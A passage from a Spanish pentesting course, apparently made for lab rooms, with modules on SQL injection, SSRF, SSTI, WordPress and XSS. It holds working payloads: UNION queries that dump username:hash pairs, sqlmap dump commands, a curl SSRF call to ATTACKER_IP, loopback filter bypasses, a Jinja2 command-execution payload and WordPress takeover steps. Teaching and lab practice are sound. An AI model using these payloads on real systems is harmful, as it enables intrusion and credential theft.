Objetivo y contexto: Averigua el número de columnas: sube el número (1, 2, 3...) hasta que la página falle.

Resultado esperado: El último número que NO da error = número de columnas. Hace falta para el UNION.

Capa 7: prueba documentada

' UNION SELECT NULL-- -

Objetivo y contexto: Ajusta la lista de NULL al número de columnas (añade ,NULL) hasta que la página cargue sin error.

Resultado esperado: Cuando deja de dar error, el UNION funciona con ese número de columnas.

Capa 8: prueba documentada

' UNION SELECT 1,2,3-- -

Objetivo y contexto: Marca cada columna con un número para ver cuáles se reflejan en la página.

Resultado esperado: Los números que aparecen en pantalla son las columnas donde puedes extraer datos.

Capa 9: prueba documentada

```
' UNION SELECT NULL,version(),NULL-- -
```

Objetivo y contexto: Extrae la version del motor por una columna reflejada (ajusta la posicion a la que viste antes).

Resultado esperado: La version de MySQL/MariaDB; te dice que sintaxis de enumeracion usar.

Capa 10: prueba documentada

```
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables-- -
```

Objetivo y contexto: Lista las tablas de la base desde el catalogo information_schema (MySQL/MSSQL/Postgres).

Resultado esperado: Nombres de tablas; busca users, accounts, credentials o similar.

Capa 11: prueba documentada

```
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -
```

Objetivo y contexto: Lista las columnas de una tabla concreta para saber que campos volcar.

Resultado esperado: Nombres de columnas como username, password, email.

Capa 12: prueba documentada

```
' UNION SELECT NULL,CONCAT(username,0x3a,password),NULL FROM users-- -
```

Objetivo y contexto: Vuelca usuario y hash juntos, separados por ':' (0x3a es el codigo hex de los dos puntos), en una sola columna.

Resultado esperado: Pares usuario:hash. Los hashes van a la fase de credenciales para crackear y reutilizar.

Capa 13: prueba documentada

```
' AND extractvalue(1,concat(0x7e,version()))-- -
```

Objetivo y contexto: SQLi basada en error (MySQL): fuerza que el dato aparezca dentro del propio mensaje de error.

Resultado esperado: Un error tipo 'XPath syntax error: ~<dato>' que filtra la version u otro dato que pidas.

Capa 14: prueba documentada

```
' AND 1=1-- -
```

Objetivo y contexto: Blind booleana (caso verdadero): la pagina responde normal. Comparalo con el caso 1=2.

Resultado esperado: Respuesta identica a la normal = condicion verdadera. Es tu oraculo de 'si'.

Capa 15: prueba documentada

```
' AND 1=2-- -
```

Objetivo y contexto: Blind booleana (caso falso): si la pagina cambia frente a 1=1, puedes inferir datos bit a bit.

Resultado esperado: Respuesta distinta (menos contenido, sin resultados) = condicion falsa. Con 'si' y 'no' automatiza con sqlmap.

Capa 16: prueba documentada

```
' OR SLEEP(5)-- -
```

Objetivo y contexto: Blind por tiempo (MySQL): cuando no hay reflejo ni cambio visible, mide el retardo de la respuesta.

Resultado esperado: Si la respuesta tarda ~5s, es vulnerable. En MSSQL usa '; WAITFOR DELAY '0:0:5'-- -.

Capa 17: prueba documentada

```
sqlmap -u '$URL/item?id=1' --batch --dbs
```

Objetivo y contexto: Cuando ya confirmaste SQLi a mano, sqlmap automatiza la explotacion. --batch acepta los defaults; --dbs lista las bases de datos como primera prueba.

Resultado esperado: El tipo de inyeccion (boolean, time-based, UNION) y la lista de bases. Sigue con --tables y -D <db> --dump para extraer usuarios y hashes.

Anatomía de los payloads

La primera prueba es '. Separa sus delimitadores, operadores, opciones, operandos y variables; algunos elementos no estarán presentes según el contexto. Las comillas, barras y separadores pertenecen a una capa concreta. Usa la explicación de cada capa para determinar qué símbolo altera sintaxis y cuál transporta datos.

Variaciones según el contexto

No traslades una prueba entre sistemas operativos, motores, frameworks o versiones sin revisar sintaxis y comportamiento. Conserva la primitiva y vuelve a serializarla para el parser real.

Filtros y bypasses

No existe un bypass universal. Registra la forma enviada, la forma decodificada, la comparación, la normalización y la forma consumida. Una adaptación es válida solo si demuestra una discrepancia concreta; si la validación ocurre sobre la forma canónica y expresa la propiedad correcta, la variante no debe funcionar.

Evidencias de confirmación

Un error de sintaxis SQL, una pagina 500, o un cambio de comportamiento (mas filas, login sin password) frente a la petición sin comilla.

Usa además una entrada inocua y un control negativo. No confundas reflexión, error genérico o demora aislada con confirmación.

Escalado de impacto

- Detecta el punto: mete una comilla y observa el error o el cambio. Deduce si es numerica o entre comillas.
- Averigua el numero de columnas (ORDER BY / UNION SELECT) para poder extraer datos por UNION.
- Extrae metadatos primero (version, bases de datos, tablas, columnas) y luego los datos que te interesan (usuarios, hashes).
- Si es a ciegas, automatiza con una herramienta; los hashes que saques van a la fase de credenciales para crackear y reutilizar.

Amplía únicamente dentro del laboratorio y cuando cada salto aporte una capacidad nueva demostrable.

Errores frecuentes

- El campo usa consultas parametrizadas/prepared statements (la comilla no rompe nada y el comportamiento no cambia).
- El valor se valida contra un tipo estricto (entero, enum) antes de llegar a la consulta.
- El ORM escapa o tipa la entrada automaticamente sin concatenar SQL crudo.
- Ejecutar la prueba sin adaptar variables ni versión.
- Cambiar varias capas a la vez.
- Omitir el control negativo o no guardar evidencia.

Diagnóstico de payloads fallidos

Síntoma	Posible causa	Prueba de diagnóstico	Adaptación
Rechazo inmediato	Formato o precondition	Repetir entrada válida	Corregir transporte
Sin diferencia	Entrada ignorada o canal ciego	Marcador y control negativo	Buscar evidencia adecuada
Error del componente	Contexto o versión	Reducir a prueba mínima	Consultar manual detectado
Resultado parcial	Permisos/restricción	Comprobar identidad y alcance	Reducir primitiva

Mitigaciones

Eliminar el dato controlable del sink cuando sea posible; usar APIs estructuradas, allowlists sobre valores canónicos, privilegio mínimo, autorización en servidor y registros que permitan detectar abuso. La defensa concreta debe impedir la causa explicada en Fundamentos técnicos.

Relación con pentesting y certificaciones

Se espera reconocer la señal, justificar la prueba elegida, adaptar variables, interpretar salida y documentar impacto y mitigación. La puntuación debe premiar razonamiento y evidencia, no memoria literal.

Caso guiado

Parte de una señal de la lista anterior. Escribe observación e hipótesis, ejecuta la prueba mínima, compara con el control y clasifica el resultado como no confirmado, indicio o confirmación. Solo entonces sigue los pasos de escalado relevantes.

Caso de adaptación

Si la prueba básica falla, no cambies caracteres al azar. Comprueba primero transporte, parser, versión, permisos y canal de evidencia. Diseña una segunda prueba que discrimine entre las dos causas más probables.

Ejercicios

1. Señala source, transformaciones y sink en el caso guiado.
2. Explica qué evidencia refutaría la hipótesis.
3. Descompón la primera prueba documentada por opciones y argumentos.
4. Propón un control negativo y una mitigación causal.

Resumen

Tu entrada acaba dentro de una consulta SQL sin separar datos de código; puedes reescribir la consulta. La técnica queda confirmada solo cuando una prueba mínima produce la evidencia prevista y descarta explicaciones alternativas.

Chuleta operativa

1. Confirmar alcance y condiciones.
2. Identificar entrada, componente y permisos.
3. Ejecutar prueba mínima y control.
4. Interpretar señal antes de escalar.
5. Guardar evidencia y mitigación.

Referencias

- [Concepto fuente de THM Fieldbook \(sql\)](#)
- [Referencia técnica externa](#)

Navegación

Anterior: [Construcción de payloads](#). Índice: [curso](#). Ejercicios y chuleta se enlazarán desde la matriz de trazabilidad.

Server-Side Request Forgery (SSRF)

Objetivos de aprendizaje

Identificar la superficie, explicar la causa, diseñar una confirmación mínima, interpretar evidencia y proponer una mitigación causal.

Prerrequisitos

Flujo source-transformación-validación-sink, parsers, permisos y metodología de hipótesis. Revisa los prerrequisitos declarados en los metadatos.

Fundamentos técnicos

Un SSRF ocurre cuando la app acepta una URL (para descargar un avatar, verificar un webhook, importar un fichero remoto...) y el SERVIDOR la solicita el mismo. Si controlas esa URL, el servidor se convierte en tu proxy: puedes hacerle pedir localhost, la red interna, o metadatos de la nube, cosas a las que tu no llegas directamente.

El programador confía en que la URL apuntara a un recurso externo legítimo (una imagen, un webhook real) y no valida ni restringe el destino. El servidor, al estar dentro de la red interna, ve cosas que tu Kali no ve desde fuera.

Modelo mental

Entrada controlada -> transformaciones -> validación -> componente final
-> sink -> efecto observable -> decisión

El paso crítico es demostrar qué componente consume el valor y con qué identidad o privilegios.

Superficie de ataque

Cuando un parametro pide una URL, un dominio, o algo que 'importa' o 'verifica' un recurso remoto: url, webhook, avatar, import, callback, feed. Muy comun tambien en generadores de PDF que renderizan una URL.

Cómo identificarla

- Un parametro llamado url, webhook, avatar, import, feed o callback.
- La app describe una funcion de 'importar desde URL' o 'verificar disponibilidad'.
- Tu listener recibe la peticion cuando apuntas el parametro a tu IP.

Preguntas que debo hacerme

- ¿Qué dato controlo exactamente y en qué formato viaja?
- ¿Qué transformaciones y normalizaciones ocurren antes del sink?
- ¿Qué identidad ejecuta la operación y qué permisos tiene?
- ¿Qué otra explicación produciría la misma señal?
- ¿Cuál es la prueba de menor riesgo que separa ambas explicaciones?

Prueba mínima

Apunta el parametro a tu propio listener (python3 -m http.server 8000) antes de probar localhost o la red interna.

Evidencia esperada: Una peticion entrante en tu listener HTTP. Eso confirma que el servidor SI solicita URLs que tu controlas.

Construcción progresiva del payload

1. Reproduce una entrada válida.
2. Aísla un único valor controlable.
3. Define la primitiva mínima indicada por la fuente.

4. Predice resultado y control negativo.
5. Aplica una sola adaptación cuando haya evidencia de restricción.
6. Confirma de forma reproducible antes de ampliar impacto.

Capa 1: prueba documentada

```
python3 -m http.server 8000
```

Objetivo y contexto: Levanta un listener propio para confirmar el SSRF sin ambigüedad: si te llega la petición, sabes con certeza que el servidor sigue URLs que tu controlas.

Resultado esperado: El listener queda a la escucha. Combinalo con el siguiente comando para disparar la petición desde el servidor.

Capa 2: prueba documentada

```
curl -sS "$URL/fetch?url=http://ATTACKER_IP:8000/"
```

Objetivo y contexto: Dispara el SSRF apuntando al tu propio listener. Es la prueba mínima y segura antes de tocar localhost o redes internas.

Resultado esperado: Una petición GET registrada en tu python3 -m http.server. Confirmado esto, repite el mismo parámetro apuntando a 127.0.0.1 o al rango interno.

Capa 3: prueba documentada

```
http://127.1/
```

Objetivo y contexto: Bypass de filtros que bloquean la cadena '127.0.0.1' pero no normalizan la IP: 127.1 se expande al mismo loopback 127.0.0.1. Variantes: 127.0.1, 2130706433 (decimal), 0x7f000001 (hex), [::1] (IPv6).

Resultado esperado: Si con 127.1 pasa lo que con 127.0.0.1 estaba bloqueado, el filtro era por cadena; ya tienes acceso al loopback interno.

Anatomía de los payloads

La primera prueba es python3 -m http.server 8000. Separa sus delimitadores, operadores, opciones, operandos y variables; algunos elementos no estarán presentes según el contexto. Las comillas, barras y separadores pertenecen a una capa concreta. Usa la explicación de cada capa para determinar qué símbolo altera sintaxis y cuál transporta datos.

Variaciones según el contexto

No traslades una prueba entre sistemas operativos, motores, frameworks o versiones sin revisar sintaxis y comportamiento. Conserva la primitiva y vuelve a serializarla para el parser real.

Filtros y bypasses

No existe un bypass universal. Registra la forma enviada, la forma decodificada, la comparación, la normalización y la forma consumida. Una adaptación es válida solo si demuestra una discrepancia concreta; si la validación ocurre sobre la forma canónica y expresa la propiedad correcta, la variante no debe funcionar.

Evidencias de confirmación

Una petición entrante en tu listener HTTP. Eso confirma que el servidor SI solicita URLs que tu controlas.

Usa además una entrada inocua y un control negativo. No confundas reflexión, error genérico o demora aislada con confirmación.

Escalado de impacto

- Confirma SIEMPRE contra tu propio listener primero, nunca contra localhost/metadata directamente.
- Una vez confirmado, prueba destinos internos: 127.0.0.1 con distintos puertos, rangos internos típicos, o el endpoint de metadatos de la nube (169.254.169.254) si el contexto es cloud.

- Si bloquea '127.0.0.1' o 'localhost' literalmente, es un filtro por cadena, no por rango: prueba representaciones equivalentes del loopback (127.1, 127.0.1, decimal 2130706433, 0x7f000001, [::1]). El fallo es validar el texto en vez de normalizar la IP y comprobar el rango.
- Si la salida muestra la respuesta cruda de una herramienta (un medidor de curl, cabeceras), el backend envuelve curl/wget: mira si puedes colar un esquema local (file://) o una segunda URL -> ver argument-injection.
- Si la respuesta refleja el contenido obtenido (SSRF 'visible'), lees directamente lo que hay en el destino interno.
- Si no refleja nada (SSRF 'ciega'), solo sabes que respondió o no; usa temporización o un servicio out-of-band para confirmar.

Amplía únicamente dentro del laboratorio y cuando cada salto aporte una capacidad nueva demostrable.

Errores frecuentes

- La app valida el destino contra una lista blanca de dominios permitidos, sin excepciones.
- La 'URL' en realidad solo se usa para mostrar un enlace en el cliente, nunca la solicita el servidor.
- Ejecutar la prueba sin adaptar variables ni versión.
- Cambiar varias capas a la vez.
- Omitir el control negativo o no guardar evidencia.

Diagnóstico de payloads fallidos

Síntoma	Posible causa	Prueba de diagnóstico	Adaptación
Rechazo inmediato	Formato o precondition	Repetir entrada válida	Corregir transporte
Sin diferencia	Entrada ignorada o canal ciego	Marcador y control negativo	Buscar evidencia adecuada
Error del componente	Contexto o versión	Reducir a prueba mínima	Consultar manual detectado
Resultado parcial	Permisos/restricción	Comprobar identidad y alcance	Reducir primitiva

Mitigaciones

Eliminar el dato controlable del sink cuando sea posible; usar APIs estructuradas, allowlists sobre valores canónicos, privilegio mínimo, autorización en servidor y registros que permitan detectar abuso. La defensa concreta debe impedir la causa explicada en Fundamentos técnicos.

Relación con pentesting y certificaciones

Se espera reconocer la señal, justificar la prueba elegida, adaptar variables, interpretar salida y documentar impacto y mitigación. La puntuación debe premiar razonamiento y evidencia, no memoria literal.

Caso guiado

Parte de una señal de la lista anterior. Escribe observación e hipótesis, ejecuta la prueba mínima, compara con el control y clasifica el resultado como no confirmado, indicio o confirmación. Solo entonces sigue los pasos de escalado relevantes.

Caso de adaptación

Si la prueba básica falla, no cambies caracteres al azar. Comprueba primero transporte, parser, versión, permisos y canal de evidencia. Diseña una segunda prueba que discrimine entre las dos causas más probables.

Ejercicios

1. Señala source, transformaciones y sink en el caso guiado.

2. Explica qué evidencia refutaría la hipótesis.
3. Descompón la primera prueba documentada por opciones y argumentos.
4. Propón un control negativo y una mitigación causal.

Resumen

Consigues que el SERVIDOR haga una petición HTTP a la URL que tu eliges, alcanzando redes internas que tu no ves directamente. La técnica queda confirmada solo cuando una prueba mínima produce la evidencia prevista y descarta explicaciones alternativas.

Chuleta operativa

1. Confirmar alcance y precondiciones.
2. Identificar entrada, componente y permisos.
3. Ejecutar prueba mínima y control.
4. Interpretar señal antes de escalar.
5. Guardar evidencia y mitigación.

Referencias

- [Concepto fuente de THM Fieldbook \(ssrf\)](#)
- [Referencia técnica externa](#)

Navegación

Anterior: [Construcción de payloads](#). Índice: [curso](#). Ejercicios y chuleta se enlazarán desde la matriz de trazabilidad.

Server-Side Template Injection (SSTI)

Objetivos de aprendizaje

Identificar la superficie, explicar la causa, diseñar una confirmación mínima, interpretar evidencia y proponer una mitigación causal.

Prerrequisitos

Flujo source-transformación-validación-sink, parsers, permisos y metodología de hipótesis. Revisa los prerrequisitos declarados en los metadatos.

Fundamentos técnicos

Muchas apps meten tu entrada dentro de una plantilla (Jinja2, Twig, Freemarker...) para generar HTML dinámico. Si el motor de plantillas EVALUA tu entrada en vez de solo insertarla como texto, puedes inyectar sintaxis de la propia plantilla. Según el motor, eso escala desde leer variables internas hasta ejecutar comandos del sistema.

El programador hace algo como `render_template_string('Hola ' + nombre)` en vez de pasar nombre como variable separada. El motor no distingue 'tu texto' de 'código de plantilla que debo evaluar', igual que en `sqli` o `command-injection` la app no distingue dato de instrucción.

Modelo mental

```
Entrada controlada -> transformaciones -> validación -> componente final
                    -> sink -> efecto observable -> decisión
```

El paso crítico es demostrar qué componente consume el valor y con qué identidad o privilegios.

Superficie de ataque

Cuando tu entrada aparece reflejada en la página y el backend usa un motor de plantillas (Jinja2/Python, Twig/PHP, Freemarker o Velocity/Java, ERB/Ruby). Sospecha en campos de nombre, mensajes, plantillas de email o generación de PDF/HTML.

Cómo identificarla

- El campo se refleja en la respuesta tal cual lo mandas.
- Mensajes de error que mencionan Jinja2, Twig, Freemarker, Velocity o un motor de plantillas concreto.
- `{{7*7}}` (o el payload equivalente del motor) se convierte en 49 en la respuesta.

Preguntas que debo hacerme

- ¿Qué dato controlo exactamente y en qué formato viaja?
- ¿Qué transformaciones y normalizaciones ocurren antes del sink?
- ¿Qué identidad ejecuta la operación y qué permisos tiene?
- ¿Qué otra explicación produciría la misma señal?
- ¿Cuál es la prueba de menor riesgo que separa ambas explicaciones?

Prueba mínima

Manda una operación matemática como payload (`{{7*7}}`, `${7*7}` o `<%= 7*7 %>` según sospeches el motor) en el campo reflejado.

Evidencia esperada: La respuesta muestra 49 en vez del texto literal. Eso confirma que el motor está EVALUANDO tu entrada, no solo mostrándola.

Construcción progresiva del payload

1. Reproduce una entrada válida.
2. Aísla un único valor controlable.
3. Define la primitiva mínima indicada por la fuente.
4. Predice resultado y control negativo.
5. Aplica una sola adaptación cuando haya evidencia de restricción.
6. Confirma de forma reproducible antes de ampliar impacto.

Capa 1: prueba documentada

```
curl -sS "$URL/?name={{7*7}}"
```

Objetivo y contexto: Prueba de confirmacion minima para Jinja2/Twig-style. Si el motor evalua, 49 aparece en la respuesta; si no, veras el texto literal.

Resultado esperado: Un '49' en la respuesta HTML confirma SSTI. Si no cambia nada, prueba otras sintaxis: `{{7*7}}` (Freemarker/Velocity) o `<%= 7*7 %>` (ERB).

Capa 2: prueba documentada

```
curl -sS "$URL/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}"
```

Objetivo y contexto: Payload de escalada especifico de Jinja2/Flask: navega desde un objeto de config accesible hasta el modulo os para ejecutar comandos.

Resultado esperado: La salida de id (uid=... gid=...) en la respuesta confirma RCE completo, no solo evaluacion de expresiones.

Anatomía de los payloads

La primera prueba es `curl -sS "$URL/?name={{7*7}}"`. Separa sus delimitadores, operadores, opciones, operandos y variables; algunos elementos no estarán presentes según el contexto. Las comillas, barras y separadores pertenecen a una capa concreta. Usa la explicación de cada capa para determinar qué símbolo altera sintaxis y cuál transporta datos.

Variaciones según el contexto

No traslades una prueba entre sistemas operativos, motores, frameworks o versiones sin revisar sintaxis y comportamiento. Conserva la primitiva y vuelve a serializarla para el parser real.

Filtros y bypasses

No existe un bypass universal. Registra la forma enviada, la forma decodificada, la comparación, la normalización y la forma consumida. Una adaptación es válida solo si demuestra una discrepancia concreta; si la validación ocurre sobre la forma canónica y expresa la propiedad correcta, la variante no debe funcionar.

Evidencias de confirmación

La respuesta muestra 49 en vez del texto literal. Eso confirma que el motor esta EVALUANDO tu entrada, no solo mostrandola.

Usa además una entrada inocua y un control negativo. No confundas reflexión, error genérico o demora aislada con confirmación.

Escalado de impacto

- Confirma con una operacion matematica minima (`{{7*7}}`) antes de nada mas.
- Identifica el motor exacto: cada uno tiene payloads de deteccion distintos (Jinja2 vs Twig vs Freemarker dan resultados diferentes a la misma sintaxis).

- Una vez identificado, escala con el payload de RCE específico del motor (en Jinja2, via `__class__.__init__.__globals__` hasta llegar a `os.popen`).
- Con ejecución de comandos, confirma con `id` y salta a conseguir shell: mira `reverse-vs-bind`.

Amplía únicamente dentro del laboratorio y cuando cada salto aporte una capacidad nueva demostrable.

Errores frecuentes

- Tu entrada se refleja pero SIN evaluar (aparece literal `{{7*7}}` en el HTML): es solo XSS/reflexión, no SSTI.
- La app no usa motor de plantillas (renderiza HTML estático o via un framework que sanea siempre).
- Ejecutar la prueba sin adaptar variables ni versión.
- Cambiar varias capas a la vez.
- Omitir el control negativo o no guardar evidencia.

Diagnóstico de payloads fallidos

Síntoma	Posible causa	Prueba de diagnóstico	Adaptación
Rechazo inmediato	Formato o precondition	Repetir entrada válida	Corregir transporte
Sin diferencia	Entrada ignorada o canal ciego	Marcador y control negativo	Buscar evidencia adecuada
Error del componente	Contexto o versión	Reducir a prueba mínima	Consultar manual detectado
Resultado parcial	Permisos/restricción	Comprobar identidad y alcance	Reducir primitiva

Mitigaciones

Eliminar el dato controlable del sink cuando sea posible; usar APIs estructuradas, allowlists sobre valores canónicos, privilegio mínimo, autorización en servidor y registros que permitan detectar abuso. La defensa concreta debe impedir la causa explicada en Fundamentos técnicos.

Relación con pentesting y certificaciones

Se espera reconocer la señal, justificar la prueba elegida, adaptar variables, interpretar salida y documentar impacto y mitigación. La puntuación debe premiar razonamiento y evidencia, no memoria literal.

Caso guiado

Parte de una señal de la lista anterior. Escribe observación e hipótesis, ejecuta la prueba mínima, compara con el control y clasifica el resultado como no confirmado, indicio o confirmación. Solo entonces sigue los pasos de escalado relevantes.

Caso de adaptación

Si la prueba básica falla, no cambies caracteres al azar. Comprueba primero transporte, parser, versión, permisos y canal de evidencia. Diseña una segunda prueba que discrimine entre las dos causas más probables.

Ejercicios

1. Señala source, transformaciones y sink en el caso guiado.
2. Explica qué evidencia refutaría la hipótesis.
3. Descompón la primera prueba documentada por opciones y argumentos.
4. Propón un control negativo y una mitigación causal.

Resumen

Tu entrada se evalúa como código de plantilla en vez de mostrarse como texto; según el motor, eso llega a ejecución de comandos. La técnica queda confirmada solo cuando una prueba mínima produce la evidencia prevista y descarta explicaciones alternativas.

Chuleta operativa

1. Confirmar alcance y precondiciones.
2. Identificar entrada, componente y permisos.
3. Ejecutar prueba mínima y control.
4. Interpretar señal antes de escalar.
5. Guardar evidencia y mitigación.

Referencias

- [Concepto fuente de THM Fieldbook \(ssti\)](#)
- [Referencia técnica externa](#)

Navegación

Anterior: [Construcción de payloads](#). Índice: [curso](#). Ejercicios y chuleta se enlazarán desde la matriz de trazabilidad.

Atacar WordPress

Objetivos de aprendizaje

Identificar la superficie, explicar la causa, diseñar una confirmación mínima, interpretar evidencia y proponer una mitigación causal.

Prerrequisitos

Flujo source-transformación-validación-sink, parsers, permisos y metodología de hipótesis. Revisa los prerrequisitos declarados en los metadatos.

Fundamentos técnicos

WordPress es el CMS mas comun en rooms. Su nucleo se actualiza solito, asi que rara vez es el vector. El fallo vive en los plugins y temas de terceros (miles, muchos sin mantener) o en credenciales debiles del panel /wp-admin, desde donde se llega a ejecución editando un tema.

Cada plugin es código de terceros con su propia superficie; una versión vulnerable de un plugin popular es explotable en masa. Y el panel de admin permite editar los .php del tema: si entras, tienes RCE casi directo. wpscan automatiza detectar versión de core, plugins, temas y usuarios.

Modelo mental

Entrada controlada -> transformaciones -> validación -> componente final
-> sink -> efecto observable -> decisión

El paso crítico es demostrar qué componente consume el valor y con qué identidad o privilegios.

Superficie de ataque

Cuando whatweb o /wp-login.php delatan WordPress. Encaja tras el fingerprint web, antes de intentar bugs genericos.

Cómo identificarla

- Rutas /wp-content/, /wp-login.php, /wp-json/ o el meta generator con la version.
- wpscan lista un plugin con CVE conocido o una version vieja.
- Usuarios enumerados via /?author=1 o la API REST -> objetivos de spraying.

Preguntas que debo hacerme

- ¿Qué dato controlo exactamente y en qué formato viaja?
- ¿Qué transformaciones y normalizaciones ocurren antes del sink?
- ¿Qué identidad ejecuta la operación y qué permisos tiene?
- ¿Qué otra explicación produciría la misma señal?
- ¿Cuál es la prueba de menor riesgo que separa ambas explicaciones?

Prueba mínima

wpscan --url \$URL --enumerate vp,u y revisa si algun plugin sale marcado [!] vulnerable.

Evidencia esperada: Version del core, lista de plugins con su version, y usuarios enumerados via /?author= o REST API.

Construcción progresiva del payload

1. Reproduce una entrada válida.
2. Aísla un único valor controlable.
3. Define la primitiva mínima indicada por la fuente.

4. Predice resultado y control negativo.
5. Aplica una sola adaptación cuando haya evidencia de restricción.
6. Confirma de forma reproducible antes de ampliar impacto.

Capa 1: prueba documentada

```
wpscan --url $URL --enumerate vp,u --plugins-detection aggressive
```

Objetivo y contexto: Enumera plugins vulnerables (vp) y usuarios (u). La detección agresiva encuentra plugins que la pasiva no ve. Es el primer paso siempre en WordPress.

Resultado esperado: Version del core, plugins con su version y [!] de vulnerabilidad, y la lista de usuarios. Cada plugin vulnerable -> busca su exploit; cada usuario -> candidato a login.

Anatomía de los payloads

La primera prueba es `wpscan --url $URL --enumerate vp,u --plugins-detection aggressive`. Separa sus delimitadores, operadores, opciones, operandos y variables; algunos elementos no estarán presentes según el contexto. Las comillas, barras y separadores pertenecen a una capa concreta. Usa la explicación de cada capa para determinar qué símbolo altera sintaxis y cuál transporta datos.

Variaciones según el contexto

No traslades una prueba entre sistemas operativos, motores, frameworks o versiones sin revisar sintaxis y comportamiento. Conserva la primitiva y vuelve a serializarla para el parser real.

Filtros y bypasses

No existe un bypass universal. Registra la forma enviada, la forma decodificada, la comparación, la normalización y la forma consumida. Una adaptación es válida solo si demuestra una discrepancia concreta; si la validación ocurre sobre la forma canónica y expresa la propiedad correcta, la variante no debe funcionar.

Evidencias de confirmación

Version del core, lista de plugins con su version, y usuarios enumerados via `/?author=` o REST API.

Usa además una entrada inocua y un control negativo. No confundas reflexión, error genérico o demora aislada con confirmación.

Escalado de impacto

- Enumera core, plugins, temas y usuarios con wpscan (usa `--api-token` para ver CVEs).
- Cruza cada plugin/version con exploits conocidos; prioriza los pre-auth.
- Si no hay CVE, ataca el login (usuarios enumerados + passwords) con cuidado de bloqueos.
- Con acceso admin, edita un .php del tema para lograr ejecución y salta a shell (`1fi-a-rce` comparte la idea: escribir código que el servidor ejecuta) y luego `reverse-vs-bind`.

Amplía únicamente dentro del laboratorio y cuando cada salto aporte una capacidad nueva demostrable.

Errores frecuentes

- wpscan no detecta ningún plugin con CVE y el core está en la última versión.
- No hay usuarios enumerables ni login accesible para spraying.
- Ejecutar la prueba sin adaptar variables ni versión.
- Cambiar varias capas a la vez.
- Omitir el control negativo o no guardar evidencia.

Diagnóstico de payloads fallidos

Síntoma	Posible causa	Prueba de diagnóstico	Adaptación
Rechazo inmediato	Formato o precondition	Repetir entrada válida	Corregir transporte
Sin diferencia	Entrada ignorada o canal ciego	Marcador y control negativo	Buscar evidencia adecuada
Error del componente	Contexto o versión	Reducir a prueba mínima	Consultar manual detectado
Resultado parcial	Permisos/restricción	Comprobar identidad y alcance	Reducir primitiva

Mitigaciones

Eliminar el dato controlable del sink cuando sea posible; usar APIs estructuradas, allowlists sobre valores canónicos, privilegio mínimo, autorización en servidor y registros que permitan detectar abuso. La defensa concreta debe impedir la causa explicada en Fundamentos técnicos.

Relación con pentesting y certificaciones

Se espera reconocer la señal, justificar la prueba elegida, adaptar variables, interpretar salida y documentar impacto y mitigación. La puntuación debe premiar razonamiento y evidencia, no memoria literal.

Caso guiado

Parte de una señal de la lista anterior. Escribe observación e hipótesis, ejecuta la prueba mínima, compara con el control y clasifica el resultado como no confirmado, indicio o confirmación. Solo entonces sigue los pasos de escalado relevantes.

Caso de adaptación

Si la prueba básica falla, no cambies caracteres al azar. Comprueba primero transporte, parser, versión, permisos y canal de evidencia. Diseña una segunda prueba que discrimine entre las dos causas más probables.

Ejercicios

1. Señala source, transformaciones y sink en el caso guiado.
2. Explica qué evidencia refutaría la hipótesis.
3. Descompón la primera prueba documentada por opciones y argumentos.
4. Propón un control negativo y una mitigación causal.

Resumen

El core suele estar parcheado; el agujero casi siempre esta en un plugin o tema vulnerable, o en el panel de admin. La técnica queda confirmada solo cuando una prueba mínima produce la evidencia prevista y descarta explicaciones alternativas.

Chuleta operativa

1. Confirmar alcance y condiciones.
2. Identificar entrada, componente y permisos.
3. Ejecutar prueba mínima y control.
4. Interpretar señal antes de escalar.
5. Guardar evidencia y mitigación.

Referencias

- [Concepto fuente de THM Fieldbook](#) (wordpress)
- [Referencia técnica externa](#)

Navegación

Anterior: [Construcción de payloads](#). Índice: [curso](#). Ejercicios y chuleta se enlazarán desde la matriz de trazabilidad.

Cross-Site Scripting (XSS)

Objetivos de aprendizaje

Identificar la superficie, explicar la causa, diseñar una confirmación mínima, interpretar evidencia y proponer una mitigación causal.

Prerrequisitos

Flujo source-transformación-validación-sink, parsers, permisos y metodología de hipótesis. Revisa los prerrequisitos declarados en los metadatos.

Fundamentos técnicos

Un XSS ocurre cuando la app mete tu entrada dentro del HTML de una pagina sin neutralizar caracteres especiales (<, >, "), y el navegador de OTRA persona (o el tuyo) interpreta esa entrada como código HTML/JavaScript en vez de texto. Hay tres tipos: reflejado (el payload viaja en la URL/peticion y se refleja en la respuesta inmediata), almacenado (el payload se guarda en la BD y se sirve a cualquiera que vea esa pagina), y DOM-based (el JavaScript del CLIENTE inserta el payload sin pasar por el servidor).

El HTML no distingue 'texto que el usuario escribió' de 'código que el navegador debe ejecutar' salvo que la app escape los caracteres especiales antes de insertarlo. Es la misma causa raíz que `sqli` (mezclar dato y código), aplicada al navegador en vez de a la base de datos.

Modelo mental

```
Entrada controlada -> transformaciones -> validación -> componente final
                    -> sink -> efecto observable -> decisión
```

El paso crítico es demostrar qué componente consume el valor y con qué identidad o privilegios.

Superficie de ataque

En cualquier campo cuyo valor termine mostrandose en HTML: comentarios, nombres de perfil, búsquedas, mensajes de error que reflejan tu input, parametros de URL que se pintan en la pagina.

Cómo identificarla

- Tu entrada aparece reflejada tal cual en el HTML de la respuesta (view-source lo confirma).
- Un campo de comentario/perfil que otros usuarios ven, sin indicacion de que se sanea.
- El payload de prueba dispara el `alert/console.log`.

Preguntas que debo hacerme

- ¿Qué dato controlo exactamente y en qué formato viaja?
- ¿Qué transformaciones y normalizaciones ocurren antes del sink?
- ¿Qué identidad ejecuta la operación y qué permisos tiene?
- ¿Qué otra explicación produciría la misma señal?
- ¿Cuál es la prueba de menor riesgo que separa ambas explicaciones?

Prueba mínima

Inyecta un payload minimo y visible, como `<script>alert(1)</script>` o `<img src=x onerror=alert(1)>`, en el campo sospechoso.

Evidencia esperada: Un dialogo de alerta ejecutandose en el navegador (o `console.log` visible en devtools) confirma que tu HTML/JS se interpreto, no se mostro como texto.

Construcción progresiva del payload

1. Reproduce una entrada válida.
2. Aísla un único valor controlable.
3. Define la primitiva mínima indicada por la fuente.
4. Predice resultado y control negativo.
5. Aplica una sola adaptación cuando haya evidencia de restricción.
6. Confirma de forma reproducible antes de ampliar impacto.

Capa 1: prueba documentada

```
curl -sS "$URL/search?q=<script>alert(1)</script>"
```

Objetivo y contexto: Prueba rápida por curl para ver si el payload se refleja SIN escapar en el HTML de respuesta, antes de abrir un navegador.

Resultado esperado: Busca `<script>alert(1)</script>` literal en el HTML devuelto (no `<script>`). Si aparece sin escapar, confirma en un navegador real para ver la ejecución.

Anatomía de los payloads

